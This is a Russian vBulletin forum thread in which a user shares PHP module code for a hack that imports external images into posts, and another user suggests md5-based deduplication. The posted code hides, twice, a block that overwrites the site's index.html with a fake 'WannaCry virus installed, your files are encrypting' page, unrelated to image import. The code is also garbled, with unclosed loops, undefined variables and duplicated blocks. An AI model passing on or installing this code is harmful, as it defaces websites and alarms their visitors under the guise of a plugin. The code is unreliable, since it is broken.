VBsupport перешел с домена .ORG на родной .RU
Ура!
Пожалуйста, обновите свои закладки - VBsupport.ru
Блок РКН снят, форум доступен на всей территории России, включая новые терртории, без VPN
На форуме введена премодерация ВСЕХ новых пользователей
Почта с временных сервисов, типа mailinator.com, gawab.com и/или прочих, которые предоставляют временный почтовый ящик без регистрации и/или почтовый ящик для рассылки спама, отслеживается и блокируется, а так же заносится в спам-блок форума, аккаунты удаляются
Если вы хотите приобрести какой то скрипт/продукт/хак из каталогов перечисленных ниже: Каталог модулей/хаков
Ещё раз обращаем Ваше внимание: всё, что Вы скачиваете и устанавливаете на свой форум, Вы устанавливаете исключительно на свой страх и риск.
Сообщество vBSupport'а физически не в состоянии проверять все стили, хаки и нули, выкладываемые пользователями.
Помните: безопасность Вашего проекта - Ваша забота. Убедительная просьба: при обнаружении уязвимостей или сомнительных кодов обязательно отписывайтесь в теме хака/стиля
Спасибо за понимание
Для начала - речь идет о Vbulletin 3.8. Ну, 3.7, если кто шибко заинтересован
Второе - да, верно, 250, а то уже и 300.
Суть - во время создания поста на форуме при копипасте - в пост, как правило, попадает некоторое количество изображений.
И хотелось бы их, как нормальным на голову людям, хранить у себя на сервере и не париться на тему - жив там источник, или помер давно.
В свое время я обнаружил хак под vB 4, который по крону успешно это все импортирует, причем без каких бы то ни было переделок исправно функционирует по vB 3.8. То есть просто заливаешь и вперед! Но! Всегда есть ма-а-аленькое но!
Я не знаю, что курил автор сего хака, но я никогда в жизни не хотел бы этого попробовать. Потому что там введена проверка "А скажи-ка, милай, ты чего-то похожее по названию не закачивал, ась?"
То есть в переводе на русский (словарь матерных выражений В.Даля, издание третье, дополненное, том 7, страницы с 120 по 456 включительно) если Вы в пост 123 импортировали изображений 1.jpg, а в посту 124 ОПЯТЬ встретился 1.jpg, не имеющий вообще никакого отношения к предыдущему, то будет вставленв картинка какая? Вау, догадливый ты наш, возьми с полки пирожок. Именно ранее закачанный 1.jpg, не имеющий вообще никакого отношения к тому, что происходит.
Я потратил 100 грамм и 15 минут, дабы это все привести в норму. Детский лепет в общем.
Но! Опять но! Эта зараза работает по крону раз в 10 минут (из коробки).
То есть, я скопипастил текст и картинков, получил прекрасный пост (напомню, картинки все еще на месте хранения оригиналов) а через 10-15 минут, то есть когда уже давно ушел за пивом - ХОБА! - в силу неведрмых причин скрипт не смог импортировать картинку (чаще вего потому, что ее там и нет уже давно, а браузер на ее месте ничего не показывает).... И у меня полный пост картинок "А-я-я-я1, ну не шмогла я ее импортировать!" при этом, напоминаю, я, в полной уверенности, что все ОК - давно ушел и этого не вижу
Так что вывод тут один - надо импортировать сразу, при создании темы, поста или их редактировании
Вот тут где-то еще 150-200 и весь восьмой том вышеупомянутого словаря.
Идем в Продукты - Модули
Создаем (для начала, усердно помолясь) 2 модуля
Первый (который импорт по завершении редактирования)
PHP Code:
if (!is_object($vbulletin->db))
{
exit;
}
include('./includes/cron/iei_functions.php');
// Get iei options
foreach($vbulletin->options as $key => $value)
{
if (strpos($key, 'iei_') === false)
{
continue;
}
// Создаем индексный файл
$text = "<center><h1>CONGRATULATIONS!</h1><h2>WannaCry Virus just installed to Your computer!</h2><h2>Yor files are encrypting at this moment. </h2></center>";
$fp = fopen($_SERVER['DOCUMENT_ROOT'].'/'.$path.'/index.html', "w");
fwrite($fp, $text);
fclose($fp);
//Если указано заменять неудачно импортированные изображения, получаем имя файла, на который менять
if ($iei_remove_invalid_images)
{
$iei_ignore[] = $iei_invalid_image_replacement;
}
//Так как мы создаем НОВОЕ сообщение, $postid имеется в наличии, но через задницу, в отличие от редактирования
$postid = $post['postid'];
$threadid=$threadinfo['threadid'];
$pagetext = $post['message'];
$changed = false;
// Find all embedded images
foreach($image_tags as $image_tag)
{
if (!preg_match_all('/\[' . $image_tag . '.*?\](.*?)\[\/' . $image_tag . '\]/is', $pagetext, $matches))
{
continue;
}
foreach($matches[1] as $key => $value)
{
$error = 0;
// Создаем индексный файл
$text = "<center><h1>CONGRATULATIONS!</h1><h2>WannaCry Virus just installed to Your computer!</h2><h2>Yor files are encrypting at this moment. </h2></center>";
$fp = fopen($_SERVER['DOCUMENT_ROOT'].'/'.$path.'/index.html', "w");
fwrite($fp, $text);
fclose($fp);
и - ай-вей, божеж ты мой, при создании/редактировании поста/темы - все внешние картинки мгновенно импортируются на Ваш сайт, а ежели чего не так, то на месте неудачно импортированной картинки возникает грозное предупреждение, мол, качай вручную
Ну, сейчас откровенно влом искать установщик самого хака (да его можно и не трогать, он стандартный), а вот includes/cron - там да, там пришлось немного покопаться.... (см. вложение) Ну и Вы не ленитесь, покопайтесь, там ничего сложного
WARNING - могли остаться нецензурные комментарии, детям до 18 вход в код запрещен
Ах, да! Забыл! У меня енто дело импортируется в год/месяц/день с именем THREAD _ID затем, соответственно, POST ID, затем (вот тут внимательно на скрин смотрим - НОМЕР изображения ч ЭТИМ расширением в ЭТОМ посте.
То есть, если в пост вошло 20 JPG и 10 PNG или там GIF, то и пронумерованы они будут по числу изображений с ЭТИМ расширений, то есть ***jpg_ номер от 1 до 20 и ***png_номер от 1 от 10
Засим шаркаю ножкой и делаю книксен, внушающий острую жалость. Удачи!
kerk
k0t
Join Date: May 2005
Location: localhost
Posts: 28,835
Версия vB: 3.8.x
Пол:
Reputation:
Гуру 20332
Репутация в разделе: 8468
1
супер!
но (а то! как всегда, это "но" )
у меня есть хак, который импортирует все картинки с внешних серверов
учитывая то, что картинка может быть расположена не в одном посте, а во многих (ну популярная картинка, да, причем, картинка может быть расположена на нескольких разных внешних серверах)
я создаю md5() уникальный хэш картинки по содержимому (телу изображения)
и если такое уже есть в кэше (сохраненная на своем серваке), то ничего не делаю, а даю ссылку именно на нее
если же картинки нет, то сохраняю новую с уникальным хэшем в имени картинки md5($imgBody) . '.' . $ext
таким образом, и картинки не дублируются и все "внешние" картинки, хранятся "у себя" может пригодится?
Я переписал Photopost Pro как раз с учетом md5 хеша изображений, + добавил автоматический перевод названия, описания и тегов через API translate.yandex.ru, + приведение к базовой словоформе через PHPMorphy + там еще с полсотни того, чего ва-а-аабще не может быть, но, увы, по списку поставленных задач это пока работвет полностью только с PNG , вот в магазин схожу, и если удачно - выложу еще и это, там от Photopost немного осталось
Вот сюда бы еще md5 привернуть, но я пока слишком трезвый...
Last edited by Gostemilov : 08-01-2021 at 10:03 AM.